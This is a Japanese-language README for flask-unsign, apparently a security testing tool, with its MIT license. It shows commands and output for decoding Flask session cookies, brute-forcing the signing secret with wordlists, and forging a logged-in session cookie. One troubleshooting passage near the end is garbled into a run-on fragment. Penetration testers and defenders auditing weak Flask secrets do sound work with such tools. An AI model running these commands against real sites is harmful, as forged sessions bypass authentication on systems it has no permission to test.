
シークレットキーを推測してFlaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、作成するためのコマンドラインツール。
Flask アプリケーションのセッションクッキーを、秘密鍵の推測によって取得・デコード・ブルートフォース・作成するためのコマンドラインツールです。 スタンドアロンのワードリストコンポーネントについては、flask-unsign-wordlist リポジトリを参照してください。
アプリケーションをインストールするには、単に pip を使用します:
$ pip3 install flask-unsign[wordlist]
コアコードのみをインストールしたい場合は、[wordlist] の接尾辞を省略します:
$ pip3 install flask-unsign
開発目的でツールをインストールするには、次のコマンドを実行します(コピーをダウンロードした後):
$ pip3 install -e .[test]
可能なすべてのオプションの概要を確認するには、flask-unsign を引数なしで呼び出すだけです:
$ flask-unsign
Flask のクッキーは署名されており、暗号化されてはいないため、セッションデータをローカルでデコードすることが可能です。これには --decode 引数を使用します。
セッションクッキーは、Burp Proxy などのプロキシを使用して HTTP リクエストを検査したり、ブラウザのネットワークインスペクタを使用したり、ブラウザ拡張機能でクッキーを表示・変更したりすることで取得できます。デフォルトでは、Flask はセッション名 "session" を使用します。
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
また、--cookie 引数の代わりに --server 引数を渡すことで、Flask-Unsign の自動セッション取得機能を使用することもできます。ただし、すべての Web ページがセッションを返すとは限らないため、セッションを返す URL を必ず渡すようにしてください。
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
サンプルのセッションクッキーを取得したら、サーバーの秘密鍵のブルートフォースを試みることができます。運が良ければ、これは推測しやすい値に設定されているかもしれませんし、オンラインで見つかった場合は、ワードリストのいずれかに含まれているかもしれません。これには --unsign 引数を使用します。
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
サーバーの秘密鍵を入手したら、独自のカスタムセッションデータを作成できるようになります。これには --sign 引数を使用します。
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip バイナリを使用している可能性があります。次のコマンドを試してみてください: python3.6 -m pip install flask-unsign--legacy オプションを試してみてください。--no-literal-eval 引数を渡すことで無効にできます。これが正確にどのように機能するのか疑問に思っている場合は、私のブログ記事を参照してください。そこでは、この攻撃から自分のサーバーを保護する方法のガイドを含め、非常に詳細に説明されています。
MIT License
Copyright (c) 2021 Luke Paris (Paradoxis)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.